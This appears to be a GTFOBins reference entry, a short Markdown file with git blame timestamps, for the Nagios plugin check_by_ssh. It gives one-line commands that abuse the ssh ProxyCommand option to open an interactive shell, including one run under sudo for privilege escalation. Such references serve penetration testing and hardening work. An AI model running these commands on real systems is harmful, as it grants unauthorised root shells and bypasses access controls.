GTFOBins.github.io/_gtfobins/check_by_ssh.md

12 lines
448 B
Markdown
Raw Normal View History

2020-11-12 14:21:00 +01:00
---
description: |
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
functions:
shell:
- description: The shell will only last 10 seconds.
code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
2020-11-12 14:21:00 +01:00
sudo:
- description: The shell will only last 10 seconds.
code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
2020-11-12 14:21:00 +01:00
---